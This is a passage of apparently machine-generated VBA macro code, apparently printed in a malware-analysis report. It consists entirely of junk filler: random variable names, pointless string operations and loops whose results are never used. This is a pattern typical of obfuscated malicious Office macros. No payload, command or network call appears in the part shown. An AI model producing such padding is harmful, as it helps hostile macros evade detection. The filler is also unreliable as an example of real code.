    jdlTf = UCase("T!M?[Nib XDs!!tNuT")
    nqyFvq = StrReverse("rd*#i] HzLk*d")
    BQHJuu = Space(8)
    LBPiPCxlc = Right("QikZkip?Ha%).m] dbL", 3)
    While zuYRsx < 386
        ZLqpuoVhm = 1639 + 148 + 772
        oqScQf = RTrim(" U#y-H!t@iwhZtdS")
        BQHJuu = LTrim("dyjN-_u$XS@aF")
        oHlDTfWPK = 274 - 945 - 1875
        VJSvFU = LTrim("[ry_HtrExsmRfLrU]")
        VJSvFU = RTrim(".@-mU?vGVe-mUJ_?W#")
        qhjydEj = StrReverse("uwS(ThQwLulLT&t")
        oHlDTfWPK = StrReverse("SugRmvi*Ekv]kpsUV")
        jdlTf = LTrim("N!ctC!$.wQ")
        qhjydEj = LTrim("nqS*)J[MXjU!xBa_#t")
        zuYRsx = zuYRsx + 1
    Wend

    eQcjxsLzgm = 1946 - 321 - 1943
    qhjydEj = Space(15)
    oqScQf = UCase("d(CaDQg UCEAsJ*QG.(")
    iZeqTgHKFt = UCase("ufk$aHGMvvikC^wuSqP")
    For YedPyS = 0 To 374
        LBPiPCxlc = 1916 - 192 - 1915
        eQZxLiz = 1729 - 1727 - 672
    Next YedPyS

    jEBwOkdu = RTrim("ezAP  AdG_(J-[Q?ieM")
    oqScQf = StrReverse("eKF!Mcj%V)QyaFc_")
    ZLqpuoVhm = Space(5)
    eQcjxsLzgm = RTrim("YNpq.MKEhH%#Yuk*oCZ")
    oqScQf = Right("kpKq*ey[q.VCxw_Vf$[E", 3)
    nqyFvq = RTrim("In?K^mFK.)nzvT]Qe")
    qhjydEj = LTrim("sl?nksOiEDV")
    While FABxSp < 242
        ZLqpuoVhm = RTrim(".Jgwn^tCy#pv")
        eQZxLiz = Left("n%IhKVCI.OzIdim&?HZM", 5)
        BQHJuu = 1841 - 1935 - 1414
        jdlTf = RTrim("I[p_%%jvIVEhcV%")
        FABxSp = FABxSp + 3
    Wend

    For lEqMRH = 0 To 397
        IQbweEvD = Right("oijDVNlXrB_w", 5)
        ZLqpuoVhm = Left("DqHuRo& -S$Hc#", 4)
        qhjydEj = StrReverse("^Y*DAsg$Bgz[")
        jdlTf = 1981 + 472 + 1719
        oqScQf = LTrim("P^jSupCHM]")
        VJSvFU = Right("E@fM[B!cxcEbySUwQA", 4)
        ZLqpuoVhm = UCase("@!k(XK!@ad(")
        LBPiPCxlc = Right("ist.xYPJTN?", 2)
    Next lEqMRH

    nqyFvq = LTrim("Ujta!B*#M&q")
    oHlDTfWPK = Left("TIx#gX)wj_NVqg.or", 4)
    ZLqpuoVhm = LTrim("(pD(vB$-)!uDX")
    IQbweEvD = RTrim("&w)_TBh-xygS? dN")
    oqScQf = Right("lPD tnWwJURW.&qK", 2)
    LBPiPCxlc = "EIhdzZw)(&Np" + "[-FeOEs(K!" + "q!Ftho.odaWxcr*]b"
    eQZxLiz = UCase("ksijxV luBDD")
    IQbweEvD = "U!BjfBhwM(DN]b.yo" + "UtC*?#SP!dVrHWZM(P_" + "Gck#KC@zH(vv*RIXLgm"
    UUwnAC = "xsEwwAOccvTNSzCqNsCBYsPKDfVgkSYCeDQKF"
End Function

Private Function hVxAhs(AMDBEKx As Integer, TRiiOGY As String, sPDAtJ As Integer, GNTCeu As Boolean, TjleQBC As String) As String
    jEBwOkdu = UCase("HUoijt[TVKA")
    IQbweEvD = "Lw(lbmOPFcn]yR" + "HKxcoWtfoJRl!CAH" + "dEuLT]WwQ?_!Gt.UgR%j"
    IQbweEvD = 680 + 880 + 1590
    jdlTf = Right("jLlSHHN^NBHOyJ^[", 3)
    IQbweEvD = LTrim("vCfVUDv(*-jetm*-c")
    nqyFvq = RTrim("mLn.Ck_ZiYony")
    LBPiPCxlc = LTrim("Tc?gKzFkUZpBT#l")
    For LQOAnP = 0 To 20
        iZeqTgHKFt = 277 - 1910 - 704
        oqScQf = LTrim("HIKYN#NOFks%pTl")
        iZeqTgHKFt = 1220 + 1707 + 1174
    Next LQOAnP

    VJSvFU = LTrim("RrK (doWpM%")
    IQbweEvD = 1726 - 517 - 582
    While PBHFYa < 299
        BQHJuu = 1574 + 748 + 721
        jEBwOkdu = UCase("o (agD_t$Pp&&doBV")
        eQZxLiz = RTrim("GTigq]-egf)ar?(u]QH")
        PBHFYa = PBHFYa + 2
    Wend

    VJSvFU = RTrim("d&Tlr)^WyJjQ!CqJ!w")
    VJSvFU = RTrim("t?lHFPbC!yIehXNrB.")
    iZeqTgHKFt = Left("$TT$@LespzE[w", 3)
    qhjydEj = StrReverse("[FS?%pL?giM@N*")
    oHlDTfWPK = LTrim("nY-SVd?qDqf&?OqC")
    iZeqTgHKFt = RTrim(" Nf]HX^(i-AzCTR$V")
    jdlTf = UCase("*.?pX(eXIjWaj?hn)C(")
    jdlTf = Right("sdnOZS((zsAN]", 3)
    eQcjxsLzgm = Right(" Z?*JM]Cql?k", 3)
    jdlTf = Right("!VI&PfD&^VdB", 5)
    IQbweEvD = Left("hQ!iqP?$zFP", 4)
    VJSvFU = UCase(".An^GH)Yan@]db")
    For EfNyPt = 0 To 379
        ZLqpuoVhm = 1803 + 677 + 250
        qhjydEj = RTrim("t$REpAygMDlt[ugLz")
        BQHJuu = 619 - 1749 - 1554
        jEBwOkdu = UCase("o&MUIMXunA%")
        oHlDTfWPK = 1392 + 1112 + 667
        jEBwOkdu = UCase("W-Ut_Gv.%#qUYpp")
        oHlDTfWPK = 188 - 1555 - 1147
        LBPiPCxlc = Left("%Z^Z(v[GUbl)TX% o", 2)
        BQHJuu = UCase("^oG*Aen%J.UW?-$")
    Next EfNyPt

    jEBwOkdu = UCase("_Ci]SvO)HT]vjw")
    iZeqTgHKFt = 1868 + 229 + 571
    nqyFvq = Space(5)
    VJSvFU = Left("[tx&XM!BdET Q", 5)
    BQHJuu = Space(14)
    While hJZRbp < 273
        jdlTf = "PJm&W@N?Sa(khQw^D]" + "j@u^yNa@pubTS" + "##dfb)I?tcvbH"
        jdlTf = RTrim("JNQVKd*zXL")
        jEBwOkdu = Right("#FIb@oXY(Z", 4)
        eQZxLiz = Space(16)
        qhjydEj = "PEji&(NRQ&]v" + "h-B@tFerLHl]!" + "[CfKxtH&dxX^."
        hJZRbp = hJZRbp + 2
    Wend

    ZLqpuoVhm = RTrim("TFVHoc Rcw[if")
    While aXyJRJ < 378
        eQZxLiz = Right("wYg..H@rRm%(bp", 5)
        ZLqpuoVhm = Space(19)
        aXyJRJ = aXyJRJ + 3
    Wend

    oqScQf = LTrim("P@ q?NGQK@@lc![O")
    oHlDTfWPK = RTrim("_sc&dflwCf-CGUudeih")
    eQcjxsLzgm = RTrim("*!u#LD_WQe$R")
    qhjydEj = LTrim("PkZaVJ#foCoowPr")
    jdlTf = Left("OmkxJiLhy$p", 5)
    BQHJuu = RTrim("HX-V?vgdC^[cVK")
    hVxAhs = "EvkQINOBottZblmEbZiaqLMSgPXhkeeSIrkUZy"
End Function

Private Sub sMtprc(YMWSKz As Integer, kDXGme As Boolean, pPmpHsM As String, TzazvH As Boolean)
    qhjydEj = UCase("Bo##la&sU srz")
    eQcjxsLzgm = Space(10)
    oqScQf = 1536 + 1580 + 1411
    jEBwOkdu = RTrim("q#M&Bm*K.P_vUKYKqy")
    qhjydEj = "(&askb%DaT D??XrTG?" + "@(XfOspGmnhjw@VI" + " ?_nWY?YhKDvZxsh_yxo"
    BQHJuu = Left("(GKFG[m*c[tJ nc@C", 2)
    iZeqTgHKFt = ".*)?QOKtOBW" + "Q vxxojO_KVTW-" + "(IZZgMH&rwS@[k"
    IQbweEvD = UCase("a- PqShM^K(")
    For wacRvo = 0 To 97
        VJSvFU = UCase("W]W&c&g[-cjAo]pWDSo")
        nqyFvq = StrReverse("dTdNSw?&(E%u#MZvp(DQ")
        ZLqpuoVhm = 1199 - 608 - 1222
        qhjydEj = UCase("TcEfzX_vA@B")
        ZLqpuoVhm = Left(" #ahyw$spkueL[[F?sRc", 3)
    Next wacRvo

    eQcjxsLzgm = Space(16)
    jdlTf = RTrim("^@!%fbiome")
    nqyFvq = Left("Z TT(^e(.!jUNfRDIog", 3)
    While GBcDIT < 98
        oqScQf = Right("JKKThP HlMD%? w$E", 2)
        nqyFvq = Right("bOScwAlHMosvAd", 3)
        GBcDIT = GBcDIT + 2
    Wend

    BQHJuu = Right("E ZrT?%Uglaa&Y.I", 2)
    jEBwOkdu = Space(13)
    nqyFvq = 1569 - 629 - 1598
    ZLqpuoVhm = 602 + 920 + 596
    ZLqpuoVhm = StrReverse("mm]db$Rjyt. $uSnL")
    oqScQf = RTrim("UM^_a. z%N")
    oqScQf = 1032 + 467 + 803
    ZLqpuoVhm = RTrim(".KwN?UjIAs$_yJy#")
    IQbweEvD = 183 - 349 - 503
    ZLqpuoVhm = 1530 - 1705 - 1961
    oHlDTfWPK = Space(14)
    oqScQf = 1238 - 237 - 394
    oHlDTfWPK = StrReverse("-M) h#ny-Y")
    BQHJuu = 378 - 314 - 1404
    For crdRIh = 0 To 82
        BQHJuu = "h!F-DZRYV%" + "ad*z!&y])cH.VO&f" + "ha!(!*j@[ZriL"
        oHlDTfWPK = "hFe[zjkE[@XKp($#" + "[i)yrXWj-zIoB" + "fr(x[LjOz#@JnQ%FGJU"
        nqyFvq = "fZ$E$x]w^!gY(luW-W" + "[NHw.Ejzc ZB$*AA!axX" + "cXGod?kqC@"
        qhjydEj = LTrim(".WznEsi-PnB-")
        qhjydEj = Left("JNc(!R@QpC]", 5)
        qhjydEj = UCase("nN&?ipt!nB")
        IQbweEvD = 966 + 1569 + 1408
        BQHJuu = Left("@BUb&iiO@DDE", 4)
        eQZxLiz = Right("eJx_I_cMWhk", 3)
    Next crdRIh

    While CKSPGi < 30
        LBPiPCxlc = UCase("%IZ.R .-vd!htWtC")
        iZeqTgHKFt = 156 + 983 + 423
        jEBwOkdu = 1882 - 437 - 1086
        eQcjxsLzgm = Left("Tcv%P(OVlU", 4)
        oHlDTfWPK = 521 + 1785 + 572
        jEBwOkdu = LTrim("fsJyl)A_IB%Zd^Qr#J")
        CKSPGi = CKSPGi + 3
    Wend

End Sub

Private Sub flPOET(JdQnTP As Boolean, GuTpbI As String, SmaWxJ As Integer)
    LBPiPCxlc = 435 + 277 + 197
    eQcjxsLzgm = Left("^UmRqAJNHAzVAhzk]", 5)
    oqScQf = StrReverse("qx&bwZKEoDrtYyl")
    jdlTf = LTrim("u#uCZXIR A")
    eQcjxsLzgm = 1408 + 771 + 426
    IQbweEvD = UCase("QIjodE?BZ$@_ MZ$")
    oHlDTfWPK = 524 + 1322 + 1338
    jEBwOkdu = "Pcf^(@rhxHM_x" + "%BFV&_lN]#U([iF%E@" + "RwZK$uu]fZWn"
    jdlTf = 127 + 226 + 1659
    jdlTf = 1878 + 1433 + 153
    jdlTf = StrReverse("cz(p[KjReWjRk")
    iZeqTgHKFt = 1431 - 1115 - 1563
    oqScQf = Left("ST)@vl.dR.B$[gbyH", 3)
    jEBwOkdu = LTrim("qD_*SkIV-A_I@g(t?ymq")
    oqScQf = 178 + 249 + 442
    nqyFvq = Left(".zkWS_ao&AXO]!K", 4)
    IQbweEvD = "#&U^NR%Z_].@" + ")Li&WIkmjALeG[-" + "ImqS*RzYjJiOXBgP"
    BQHJuu = Right("f]@PDMQLmXjzyP(", 3)
    iZeqTgHKFt = LTrim("PnQ]p(Xn(p& ! Oi$R")
    eQcjxsLzgm = StrReverse("mDLe^xKxlNTn)FiH(l&G")
    While FFCBvC < 306
        jEBwOkdu = StrReverse("WtVJH#Q%osaS")
        iZeqTgHKFt = RTrim("Cq)sHReFdn.hjLy")
        BQHJuu = Right(".-hKOrFU.d", 5)
        BQHJuu = StrReverse("?Yn_.]F(yLvDuvz]nd")
        IQbweEvD = Left("wyo_%-qBylnqWHvtO$_L", 5)
        BQHJuu = UCase("D!-lM @sZkI")
        VJSvFU = 1741 + 655 + 993
        FFCBvC = FFCBvC + 3
    Wend

    eQcjxsLzgm = Left("nYuC]Li@OiGXAq-tkh", 4)
    jdlTf = Left("mbtrB]tDC%mxaEAVNmni", 4)
    oqScQf = RTrim("Ge__kLEt^M")
    jEBwOkdu = RTrim("w-eq.]xcl UQ")
    For OFiYaK = 0 To 33
        VJSvFU = LTrim("eSnfJrZI&y(P-P")
        qhjydEj = "soV]Ho F..&iqz((vB" + ".(l!uwJ^sa.jj$" + "BMkyge)fCH$fN(M!RJ"
        eQcjxsLzgm = "pi@gV%rtQySlscn)BnG" + " Zy_)rn?KD?G.*qiN^#)" + "Hu-yJryWvoO^&@senuND"
        nqyFvq = Right("c hfMTez(MyMywDS IBj", 4)
        oqScQf = Right("R-AiSm-Y*UM", 5)
        qhjydEj = "Pf-jWwfB.mRj" + "fazo#bqfB .*^*Cs" + "^ZyyMB_NXZiw*OLJy"
        jdlTf = 553 - 1480 - 533
        IQbweEvD = 1675 - 187 - 1492
    Next OFiYaK

    IQbweEvD = Right("h(N@OMutgw@NZsqC$Mb", 5)
End Sub

Private Sub TsNcIR(tNbNvdr As Boolean, xbKdNW As Boolean, BLAXWE As String, EZoeWP As Double, bCQbwl As Double)
    For EICbPK = 0 To 37
        eQZxLiz = LTrim(")vBlpy(k.OEA")
        VJSvFU = Left("ONl^N^tmhnINpe", 2)
        IQbweEvD = RTrim("k]E.qajtYq")
        nqyFvq = "oi&]uleM(l$-DIPMdQ" + " F^ZsFt&W!Jhf&lg" + "egQnH@LlGSXXTSGd-C"
        qhjydEj = 996 - 178 - 721
        oqScQf = LTrim("!GkXIsn&DxPc)")
    Next EICbPK

    jdlTf = Right("*?[NIMhpD_aUgihknD", 4)
    BQHJuu = 1344 + 540 + 1993
    nqyFvq = UCase("BDNHlXi)T_(u")
    jdlTf = 386 - 502 - 1035
    eQZxLiz = 1200 - 644 - 1321
    BQHJuu = StrReverse("J)lXLcHXqLe!^.TO")
    LBPiPCxlc = 273 - 644 - 616
    jdlTf = 1178 - 941 - 1900
    iZeqTgHKFt = StrReverse("R^gmjbbZOf%]Du")
    eQcjxsLzgm = Right("sS#RleGdpWXB-[zv#Y", 4)
    qhjydEj = Right("*!$q*QONI%ZlLXkw", 5)
    eQcjxsLzgm = LTrim("umYM?b%(peCgao] Jhk")
    While CsABhh < 22
        nqyFvq = Left("%Pclby*LY(XS#", 5)
        IQbweEvD = StrReverse("OUYC!tKcE*")
        oqScQf = Right("xKU@JEMkBE#ish$oih", 2)
        IQbweEvD = "Lkc_. &-dp" + ".IFaM  oOJK[.M]X*rF" + "vBTDPmzE%UJZolE?Fe!I"
        oHlDTfWPK = 1461 - 1294 - 573
        oHlDTfWPK = LTrim("]BYZ#I.ve^#YGsSOb Ip")
        VJSvFU = LTrim("VmLKANj%ZH.*k")
        IQbweEvD = Space(20)
        CsABhh = CsABhh + 2
    Wend

    VJSvFU = Right("Tg[V[ isnZvoWHpa", 2)
    LBPiPCxlc = Left("KmICM#Of-(NVx", 4)
    oHlDTfWPK = 521 + 708 + 1008
    ZLqpuoVhm = 1188 - 1724 - 941
    LBPiPCxlc = 1319 - 916 - 1897
    BQHJuu = Space(1)
    eQcjxsLzgm = StrReverse("b-]UVZ?&RmWyBnu")
    BQHJuu = "QImSaK@bXl" + "@xlKgurDFxEhn)" + "Ev^Xs$OW^XQy"
End Sub

Private Sub NoKtqs(zQAbZy As Boolean)
    jdlTf = "Ptv!eLENYYZ_TCr[bz" + "n*-fmyJ)wiQbh" + "tn&W$.D).-_"
    nqyFvq = Left("@%aUlFw bzauw-%&KBU", 3)
    oqScQf = "xGrusoJXmv" + "JCMKy([eHH" + "Qx*syRoCS.PtH)D"
    eQcjxsLzgm = "kRBVGJduv!mzU" + "zBcOHU@xbpG)q&fqHw" + "]ePpgxDv.orx^V#*hV"
    jEBwOkdu = RTrim("S&)[SMN].HIS*M?PA")
    nqyFvq = UCase("$R[MxYG#VF")
    qhjydEj = 677 + 1971 + 1059
    IQbweEvD = 1818 + 1270 + 578
    oqScQf = UCase("IYUzZyRqZSP")
    jEBwOkdu = LTrim("qJHcv&dKVhJ.jD")
    oqScQf = "vjypNJpZBT!hU#U " + "]KHx!p[EIX" + "Sm[KY]%$&A"
    oqScQf = LTrim("i)]iWf#XkJzkgMYQp")
    qhjydEj = Space(14)
    jdlTf = 392 - 1953 - 285
    LBPiPCxlc = LTrim("(?UUhm]Pb#ba[Wn?X")
    oHlDTfWPK = RTrim("NbBOVXYhVd)k")
    While ltWTCA < 191
        eQcjxsLzgm = RTrim("VhGZi-Zjr]J")
        BQHJuu = StrReverse("?VAGB@onw!")
        nqyFvq = "btk&@K*._.!Z&?" + "DzQSTSTpPF!*&lJhH" + "yu*iNy?TTJlAmQpE]eGB"
        oqScQf = Right("q*C%#[yR@rTX", 3)
        eQcjxsLzgm = 846 + 1307 + 1782
        eQcjxsLzgm = Left("L-vo&HKQk]uA?", 2)
        jdlTf = Right("*eG?PZ(@d%kD$!QQ", 3)
        ltWTCA = ltWTCA + 1
    Wend

    LBPiPCxlc = "ursfjtt!An-dcLB" + "vNsiZleTLehw" + "zmkGNqn!RB"
    BQHJuu = RTrim("kr_EpgskWG-nkDd")
    jdlTf = RTrim("WKg@v.jgdRuqpiTn")
    BQHJuu = Space(18)
    VJSvFU = UCase("zxS#kxOG&j")
    oqScQf = "Wpi]YMa)OZvNpc" + "&n?R.c))sjPTJ*NBcs" + "]VI)s#rRB$ViXX(pf$?r"
    qhjydEj = RTrim("nIoI @LV] E#wQh")
    iZeqTgHKFt = "]DyN%$o.WxA" + "fL zMO)YQHwIlybKUaW@" + "%e#M?#ZCeRKt"
    iZeqTgHKFt = LTrim("YVN!]f$[s[(ecZ")
    iZeqTgHKFt = Space(16)
    LBPiPCxlc = UCase("u)VfNk?.YKjkbF)qeq#")
End Sub

Private Function xPFksc(JJECier As Boolean) As String
    LBPiPCxlc = Left("hucSYVABK_-Pr.@SyI", 3)
    eQcjxsLzgm = 1055 - 173 - 921
    VJSvFU = StrReverse("PwE]$qOXr$eIT")
    qhjydEj = UCase("WgTmUZSsY!*cC")
    nqyFvq = RTrim("S]C[ZkaeuH")
    LBPiPCxlc = RTrim("x!-@dEtOdb%)ZG-.SR")
    VJSvFU = RTrim("L*Aeey[Wg(-dx$PoPm")
    jEBwOkdu = Right("mnwFCLN@U$TNCqqwB", 3)
    eQcjxsLzgm = RTrim("_CR]TdESomzxG")
    oHlDTfWPK = UCase("cr*LQFZ-^IBk[")
    BQHJuu = "uDB@y J#W-HP&W" + "eTD.dQboeRPS&b" + "BsoKO&AtNf$"
    nqyFvq = RTrim("v-zCjwbY CVL_vrf")
    eQZxLiz = "puKzb.isO?&N)^" + "ob)AE&zkPkLb[A" + "B V?ugleoDp*K."
    nqyFvq = StrReverse("PwCq?qP(C_x]tI@tDj")
    eQZxLiz = RTrim("]kxvKCTsNX")
    While wopOHx < 100
        LBPiPCxlc = LTrim("-j!D^GIl.[FSTh")
        BQHJuu = RTrim("SQ*wltHjSmE^^F&v")
        jEBwOkdu = LTrim("^UPrgRKrah%)")
        jdlTf = Space(14)
        oqScQf = Left("?r)oN*li*e", 4)
        qhjydEj = Right("uGji[)p?GNMhUQ", 4)
        VJSvFU = StrReverse("msc.!m$ Qu&ZkqMmw$x")
        oqScQf = Right("SCgtPlH]zcf&ZGrL?Xd", 2)
        eQZxLiz = "fLcO.itXx*C&!q" + "zw$wZfQ(-)EP(zfNq)" + "[kM$dzo-f%aMxlP.o("
        wopOHx = wopOHx + 3
    Wend

    qhjydEj = RTrim("!j(ilgT!o!kA")
    eQcjxsLzgm = StrReverse("?q(_)Ip*nZz_k@BQ.S&")
    LBPiPCxlc = 122 - 1028 - 1416
    ZLqpuoVhm = StrReverse("aMGhNHtrTVOK?g&vlP")
    nqyFvq = 1986 + 1538 + 1339
    oHlDTfWPK = 592 - 632 - 1765
    eQZxLiz = 123 + 784 + 1002
    oqScQf = 1487 + 857 + 1381
    nqyFvq = 1360 - 1728 - 1188
    eQcjxsLzgm = Right("JsU!DP@x^cvWEDa[o", 2)
    VJSvFU = Left("z_u!Q!tYr*lh", 3)
    IQbweEvD = Right("?#!q_dXQux?rkD", 5)
    IQbweEvD = Right("sJb*NM#JjbZxuSvV", 3)
    jdlTf = Right("-d?&Mq$GDK%$zZsSjzF", 3)
    IQbweEvD = LTrim("_#QspwypRk$P!?BJ")
    LBPiPCxlc = StrReverse(".LR$pJN?eS)xl%&SH")
    iZeqTgHKFt = RTrim("flw$nAi&mBnveX(h")
    nqyFvq = RTrim("-hMTi!&S]q")
    BQHJuu = Left("nVfxpkjIYF", 2)
    LBPiPCxlc = LTrim("vcCknrSVA*Fh#xN#zc")
    qhjydEj = UCase("h&vc%NsFEIP-jAmlx")
    xPFksc = "nkkizCYxketAmaBrEActeQgPpDzBPkPvOZRXm"
End Function

Private Function LJnIlZ(lHfmLe As String, orGDzd As String, iilwOn As String, xBhDyg As Double, byLVmnt As String) As String
    oqScQf = LTrim("_&!bsOlAcG%rimzdV")
    qhjydEj = Right("jCBT@*J#%Gie!C[Z", 2)
    LBPiPCxlc = Left("tSXgc[abfOwURQa)e$?", 5)
    oqScQf = Right("QvJkwoqakFByef!rd]J", 2)
    eQZxLiz = Left("VtGma.(zCo[p[P", 4)
    VJSvFU = LTrim("(.jM@Al&UixrE")
    BQHJuu = Left("^DJC$d_ AhqpHmH", 3)
    jdlTf = 1254 + 1617 + 1040
    IQbweEvD = LTrim("-%aJJpbtSJ!yy")
    jdlTf = 1421 - 1163 - 437
    eQcjxsLzgm = LTrim("Xy%H-*G$nxR(IUK")
    eQZxLiz = RTrim("@KX.AujuwpP$k#olyM")
    oHlDTfWPK = 980 + 1821 + 1849
    qhjydEj = RTrim("EIavMAi?BY?QfML@qJ.")
    While SbHgmw < 31
        qhjydEj = Left("Mr)[fChLxz@sSjR", 4)
        ZLqpuoVhm = Left("&aEEZ#%Z]YZPk#o", 2)
        eQZxLiz = 1462 + 1490 + 426
        BQHJuu = LTrim("es KoEWoKxKya")
        BQHJuu = "(WmMDN#WfhsF" + "Pi_!b(TfKch" + "A(*G$wcU?jPBW vTW["
        IQbweEvD = UCase("Y_d*fXtra_")
        jEBwOkdu = 1886 + 130 + 1224
        jdlTf = LTrim("mA! ZehAZM_?")
        nqyFvq = Space(3)
        SbHgmw = SbHgmw + 3
    Wend

    qhjydEj = "U hMzTbq@l-OcZYP" + " z_?s-RxPhoCKKhikoW_" + "?xDUf .DKSW?"
    ZLqpuoVhm = Right("&IGkAJE%xD_ulx", 3)
    IQbweEvD = 853 - 414 - 1259
    For YZoJzC = 0 To 55
        BQHJuu = Space(1)
        jdlTf = StrReverse("*BDP?%M()#wKX?jAY@f")
    Next YZoJzC

    eQcjxsLzgm = 1036 - 550 - 478
    BQHJuu = UCase("mYIlnmGzDKnaVp?t qd")
    ZLqpuoVhm = Space(16)
    LBPiPCxlc = Right("YkM!hJWky^eW&kC@A", 3)
    jdlTf = UCase("qZk!%ok?q(lNM")
    IQbweEvD = 184 + 1668 + 635
    nqyFvq = RTrim("OOHAy&^Bb-m")
    For MTmbql = 0 To 153
        LBPiPCxlc = LTrim("Ym?uj% j$N^zu%E")
        VJSvFU = Left("%(?@B]lZnyY)C!@NUpF", 2)
        ZLqpuoVhm = Left("S*)DsB)dwCewi-", 2)
        IQbweEvD = RTrim("HttQWA?Y#)[$")
        eQcjxsLzgm = Space(2)
        BQHJuu = 219 - 1334 - 1081
    Next MTmbql

    eQcjxsLzgm = StrReverse("wDQ[zWtbuD")
    LBPiPCxlc = UCase("$ld-CKWiLWa b?rvx")
    nqyFvq = 906 - 1548 - 267
    LJnIlZ = "zjTZsabnkTVDDGmONOldrwPfNfeGIu"
End Function

Private Function ExitVN(afLjhm As String, IDFXyzt As Double) As String
    BQHJuu = Space(8)
    iZeqTgHKFt = StrReverse("tNjH^auz!IY")
    jdlTf = RTrim("s S@u?c_.tQJ")
    nqyFvq = RTrim("of%q*EzPfV")
    ZLqpuoVhm = 246 + 132 + 601
    IQbweEvD = 1215 - 1912 - 1790
    VJSvFU = StrReverse("@UeAAgpgFThGD")
    qhjydEj = LTrim("S^gv?JuzO@RTPZ")
    oHlDTfWPK = Right("b Gh-e[?V?s)", 5)
    IQbweEvD = RTrim("qDzIZ%T.kt")
    While SkghjS < 193
        oqScQf = Left("VC]HJc%@?MELVa", 4)
        ZLqpuoVhm = 1384 + 1903 + 398
        SkghjS = SkghjS + 1
    Wend

    VJSvFU = Left("vPdmGhyKF%rBe", 5)
    ZLqpuoVhm = "-)]avMnSATgr" + "Gj@mL]I&MI^e!_BP!dZ" + "nBlT.PYi)jEjLf"
    qhjydEj = StrReverse("Fv^C?fnQ-icf($rOy")
    iZeqTgHKFt = Left("R@Zir^L!gQAOng.fE", 4)
    VJSvFU = RTrim("#MB vxUs#uGlA$ i^")
    VJSvFU = Right("UOwY$GvdRl", 3)
    LBPiPCxlc = Space(9)
    jEBwOkdu = 1467 - 1398 - 634
    qhjydEj = Left("Y#PL[EDhef#", 2)
    BQHJuu = RTrim("(]hmV.$UwYhGDYDm")
    ZLqpuoVhm = LTrim("$t(uQ@t&FU")
    oHlDTfWPK = LTrim("JS&D L#kpXu[Srn$p]I")
    oqScQf = 225 + 428 + 1957
    IQbweEvD = 1034 - 1676 - 1647
…

Open this report in the interactive analyzer, or submit your own file for analysis.